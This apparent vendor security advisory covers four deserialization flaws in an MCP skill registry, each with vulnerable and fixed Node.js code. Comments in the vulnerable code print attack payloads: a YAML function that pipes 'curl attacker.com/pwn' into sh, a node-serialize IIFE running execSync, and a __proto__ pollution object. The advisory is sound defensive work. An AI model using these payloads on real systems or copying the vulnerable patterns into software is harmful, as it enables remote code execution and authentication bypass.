← Blog

Claude MCP skill insecure deserialization — skill version control and diff comparison pipeline endpoints (SA-SKL-DESER67)

SA-SKL-DESER67 identifies four critical insecure deserialization vulnerabilities in MCP skill registry skill version control and diff comparison pipeline endpoints. YAML deserialization with DEFAULT_FULL_SCHEMA enables JavaScript function injection through the onMergeConflict handler, triggering RCE on every merge conflict detected during skill update submission; BSON Code type deserialization from MongoDB evaluates attacker-controlled JavaScript stored in the diffProcessorFn field during every version comparison request from any authenticated user; MessagePack deserialization of version event queue entries accepts __proto__ keys that pollute Object.prototype and permanently disable authentication for all subsequent version control API requests processed by the same Node.js worker; and node-serialize deserialization of version diff aggregation data executes IIFE gadgets at aggregation time, making the RCE reachable from any user who views a skill's version history page.

SA-SKL-DESER67 findings at a glance
CRITICALDESER67-001 — version control config reads from Redis as YAML via yaml.load() DEFAULT_FULL_SCHEMA — !!js/function in versionConfig.onMergeConflict achieves RCE at every merge conflict detected during skill update submission
CRITICALDESER67-002 — diff comparison model reads from MongoDB as BSON — BSON Code type at diffProcessorFn field triggers eval() during diff computation at every version comparison request from any user
CRITICALDESER67-003 — version event queue stored in Redis as MessagePack — __proto__.skipVersionAuth:true pollutes Object.prototype, disabling authentication for all subsequent version control API requests in same worker
CRITICALDESER67-004 — version diff aggregation reads via node-serialize — IIFE gadget achieves RCE at aggregation time reachable from any user viewing skill version history

DESER67-001 — YAML DEFAULT_FULL_SCHEMA enables js/function RCE via version control config

The version control pipeline reads its per-skill configuration from Redis using yaml.load() with the DEFAULT_FULL_SCHEMA, which enables the !!js/function YAML type tag that deserializes arbitrary JavaScript function bodies. The deserialized config object's onMergeConflict field is invoked as a callback handler at every merge conflict detected during skill update submission. An attacker who can write to Redis — via a misconfigured Redis ACL, a compromised background worker with write access, or a separate injection path — stores a crafted YAML value containing a !!js/function payload in the onMergeConflict key; the function executes in the registry process context with full filesystem and network access at the moment the next merge conflict is processed.

Vulnerable
// DESER67-001 — VULNERABLE: yaml.load() with DEFAULT_FULL_SCHEMA
const yaml = require('js-yaml');

async function getVersionConfig(skillId) {
  const raw = await redis.get(`versionConfig:${skillId}`);
  // DEFAULT_FULL_SCHEMA enables !!js/function — attacker payload:
  // onMergeConflict: !!js/function 'function(){ require("child_process").execSync("curl attacker.com/pwn | sh"); }'
  return yaml.load(raw, { schema: yaml.DEFAULT_FULL_SCHEMA });
}

async function handleMergeConflict(skillId, conflictData) {
  const config = await getVersionConfig(skillId);
  if (config.onMergeConflict) {
    // RCE: attacker function invoked here
    await config.onMergeConflict(conflictData);
  }
}
Fixed
// DESER67-001 — FIXED: FAILSAFE_SCHEMA; Zod validates onMergeConflict is enum; named handler lookup
const yaml = require('js-yaml');
const { z } = require('zod');

const MERGE_CONFLICT_HANDLERS = {
  'skip': skipConflict,
  'fail': failConflict,
  'merge-latest': mergeLatest
};

const VersionControlConfigSchema = z.object({
  onMergeConflict: z.enum(['skip', 'fail', 'merge-latest']).default('fail'),
  maxVersionHistory: z.number().int().min(1).max(1000).default(100)
});

async function getVersionConfig(skillId) {
  const raw = await redis.get(`versionConfig:${skillId}`);
  // FAILSAFE_SCHEMA: only strings, nulls, booleans — no !!js/function
  const parsed = yaml.load(raw, { schema: yaml.FAILSAFE_SCHEMA });
  return VersionControlConfigSchema.parse(parsed);
}

async function handleMergeConflict(skillId, conflictData) {
  const config = await getVersionConfig(skillId);
  const handler = MERGE_CONFLICT_HANDLERS[config.onMergeConflict];
  await handler(conflictData);
}

DEFAULT_FULL_SCHEMA is never safe for untrusted input. The !!js/function tag is a documented feature of js-yaml's full schema — not an exploit that requires bypassing any protection. Any value read from a datastore that can be written by an attacker must be deserialized with FAILSAFE_SCHEMA or CORE_SCHEMA. Callback fields stored in configuration objects must always be resolved through a named handler lookup table, never called directly from deserialized data.

DESER67-002 — BSON Code type triggers eval() during diff computation

The diff comparison pipeline reads its processor configuration from MongoDB, where the diffProcessorFn field is stored as a BSON Code type. The MongoDB Node.js driver deserializes BSON Code objects into JavaScript Code instances by default and the pipeline passes this value to Node's vm.runInThisContext() (effectively eval()) to execute the diff strategy. Any user with write access to the diff processor document — including skill owners who can configure custom diff strategies through the registry UI — can store a BSON Code payload that executes arbitrary JavaScript during every version comparison request. Because version comparison is accessible to all authenticated users, the RCE surface is the entire authenticated user population.

Vulnerable
// DESER67-002 — VULNERABLE: BSON Code type deserialized and eval()'d
const { MongoClient } = require('mongodb');
const vm = require('vm');

async function getDiffProcessor(skillId) {
  const doc = await db.collection('diffProcessors').findOne({ skillId });
  // doc.diffProcessorFn is a BSON Code object — eval() executes attacker payload
  return vm.runInThisContext(`(${doc.diffProcessorFn.code})`);
}

router.get('/skills/:id/versions/diff', requireSession, async (req, res) => {
  const processor = await getDiffProcessor(req.params.id);
  const diff = await processor(req.query.fromVersion, req.query.toVersion);
  res.json(diff);
});
Fixed
// DESER67-002 — FIXED: promoteValues:false; projection excludes diffProcessorFn; named diff strategy
const { MongoClient } = require('mongodb');
const { z } = require('zod');

const DIFF_STRATEGIES = {
  'line': computeLineDiff,
  'semantic': computeSemanticDiff,
  'ast': computeAstDiff
};

const DiffProcessorSchema = z.object({
  skillId: z.string(),
  strategy: z.enum(['line', 'semantic', 'ast']).default('line')
  // diffProcessorFn excluded from projection — never read
});

async function getDiffStrategy(skillId) {
  // promoteValues:false prevents BSON Code → JS Code promotion
  const doc = await db.collection('diffProcessors').findOne(
    { skillId },
    { projection: { skillId: 1, strategy: 1 }, promoteValues: false }
  );
  const validated = DiffProcessorSchema.parse(doc);
  return DIFF_STRATEGIES[validated.strategy];
}

router.get('/skills/:id/versions/diff', requireSession, async (req, res) => {
  const diffFn = await getDiffStrategy(req.params.id);
  const diff = await diffFn(req.query.fromVersion, req.query.toVersion);
  res.json(diff);
});

BSON Code type promotion is on by default in the MongoDB Node.js driver. Pass promoteValues: false and promoteBuffers: false when reading documents that may contain Code or Binary types you did not explicitly write. Excluding the diffProcessorFn field from the MongoDB projection is an additional defence-in-depth measure — the driver never deserializes what is never fetched.

DESER67-003 — MessagePack prototype pollution disables version control authentication

The version event queue serializes event payloads in Redis using MessagePack. The consumer worker deserializes queue entries using msgpack.decode() without sanitizing key names. An attacker who can write to the Redis queue — via an exposed Redis port, a compromised producer service, or a mass-assignment vulnerability on the event submission endpoint — crafts a MessagePack payload containing a __proto__ key with skipVersionAuth: true. When the worker deserializes this entry, the assignment obj["__proto__"]["skipVersionAuth"] = true pollutes Object.prototype; every subsequent authentication check that reads req.session.skipVersionAuth now returns true for every request processed by that worker, bypassing version control authorization for the entire worker lifetime.

Vulnerable
// DESER67-003 — VULNERABLE: MessagePack decode without prototype sanitization
const msgpack = require('msgpackr');

async function processVersionEvent() {
  const raw = await redis.lpop('versionEvents');
  // attacker payload: { "__proto__": { "skipVersionAuth": true } }
  const event = msgpack.decode(raw);
  await handleVersionEvent(event);
}

// auth middleware — now bypassed after prototype pollution
function requireVersionAuth(req, res, next) {
  if (req.session.skipVersionAuth) return next(); // always true after pollution
  if (!req.session.versionToken) return res.status(401).json({ error: 'unauthorized' });
  next();
}
Fixed
// DESER67-003 — FIXED: sanitizeDeserialized() rejects __proto__/constructor/prototype keys
const msgpack = require('msgpackr');
const { z } = require('zod');

const FORBIDDEN_KEYS = new Set(['__proto__', 'constructor', 'prototype']);

function sanitizeDeserialized(obj) {
  if (typeof obj !== 'object' || obj === null) return obj;
  for (const key of Object.keys(obj)) {
    if (FORBIDDEN_KEYS.has(key)) throw new Error(`Forbidden key in deserialized payload: ${key}`);
    sanitizeDeserialized(obj[key]);
  }
  return obj;
}

const VersionEventSchema = z.object({
  type: z.enum(['submit', 'approve', 'reject', 'rollback']),
  skillId: z.string().uuid(),
  actorId: z.string().uuid(),
  at: z.string().datetime()
});

async function processVersionEvent() {
  const raw = await redis.lpop('versionEvents');
  const decoded = msgpack.decode(raw);
  sanitizeDeserialized(decoded);
  const event = VersionEventSchema.parse(decoded);
  await handleVersionEvent(event);
}

// auth middleware uses Object.prototype.hasOwnProperty.call — immune to pollution
function requireVersionAuth(req, res, next) {
  if (Object.prototype.hasOwnProperty.call(req.session, 'skipVersionAuth') &&
      req.session.skipVersionAuth === true) return next();
  if (!req.session.versionToken) return res.status(401).json({ error: 'unauthorized' });
  next();
}

Prototype pollution via deserialization is a worker-wide, persistent attack. Unlike a request-scoped injection, a single poisoned queue entry silently disables authentication for every request the worker processes until it is restarted. Deploy sanitizeDeserialized() as the first step after every deserialization operation on queue data, and use Object.prototype.hasOwnProperty.call() rather than obj.hasOwnProperty() in security-critical checks.

DESER67-004 — node-serialize IIFE gadget achieves RCE in version history aggregation

The version diff aggregation pipeline caches computed aggregation results in Redis using node-serialize. When a user views a skill's version history, the aggregation worker reads the cached result with serialize.unserialize(). The node-serialize library supports an IIFE (Immediately Invoked Function Expression) gadget: any string value matching the pattern _$$ND_FUNC$$_function(){...}() is deserialized by converting the string to a function and immediately invoking it. An attacker who can write to the aggregation cache key executes arbitrary code inside the registry worker process at the moment any user loads a version history page for the targeted skill, making this a user-triggered RCE with no authentication requirement on the attacker's part.

Vulnerable
// DESER67-004 — VULNERABLE: node-serialize IIFE gadget in version diff aggregation
const serialize = require('node-serialize');

async function getVersionDiffAggregation(skillId) {
  const cached = await redis.get(`versionAgg:${skillId}`);
  if (cached) {
    // attacker payload: {"summary":"_$$ND_FUNC$$_function(){require('child_process').execSync('id > /tmp/pwned')}()"}
    return serialize.unserialize(cached); // IIFE executes here
  }
  const agg = await db.computeVersionDiffAggregation(skillId);
  await redis.setex(`versionAgg:${skillId}`, 3600, serialize.serialize(agg));
  return agg;
}

router.get('/skills/:id/versions', requireSession, async (req, res) => {
  const agg = await getVersionDiffAggregation(req.params.id);
  res.json(agg);
});
Fixed
// DESER67-004 — FIXED: JSON.parse + Zod schema; detect and evict ND_FUNC payloads
const { z } = require('zod');

const ND_FUNC_PATTERN = /_\$\$ND_FUNC\$\$_/;

const VersionDiffAggregationSchema = z.object({
  skillId: z.string().uuid(),
  totalVersions: z.number().int().nonneg(),
  lastUpdatedAt: z.string().datetime(),
  diffSummaries: z.array(z.object({
    fromVersion: z.string(),
    toVersion: z.string(),
    linesAdded: z.number().int().nonneg(),
    linesRemoved: z.number().int().nonneg()
  }))
});

async function getVersionDiffAggregation(skillId) {
  const cached = await redis.get(`versionAgg:${skillId}`);
  if (cached) {
    if (ND_FUNC_PATTERN.test(cached)) {
      // Evict poisoned cache entry and alert
      await redis.del(`versionAgg:${skillId}`);
      await alerting.fire('node-serialize-payload-detected', { skillId, cached });
      throw new Error('Poisoned aggregation cache entry evicted');
    }
    return VersionDiffAggregationSchema.parse(JSON.parse(cached));
  }
  const agg = await db.computeVersionDiffAggregation(skillId);
  const validated = VersionDiffAggregationSchema.parse(agg);
  await redis.setex(`versionAgg:${skillId}`, 3600, JSON.stringify(validated));
  return validated;
}

router.get('/skills/:id/versions', requireSession, async (req, res) => {
  const agg = await getVersionDiffAggregation(req.params.id);
  res.json(agg);
});

Remove node-serialize from your dependency tree entirely. The _$$ND_FUNC$$_ IIFE gadget is a known, documented attack vector against node-serialize. Replace all usages with JSON.parse() validated by a Zod schema. If you cannot immediately remove node-serialize, deploy the ND_FUNC_PATTERN detection guard as a temporary mitigation, but treat it as a stopgap — the fix is elimination, not detection-only.

Scan your MCP skill for DESER67 and 200+ other vulnerability classes

SkillAudit checks for all SA-SKL-DESER vulnerability patterns including YAML schema exploitation, BSON Code type promotion, MessagePack prototype pollution, and node-serialize IIFE gadgets. Get a graded report with line-level code fixes in 60 seconds.

Get a free audit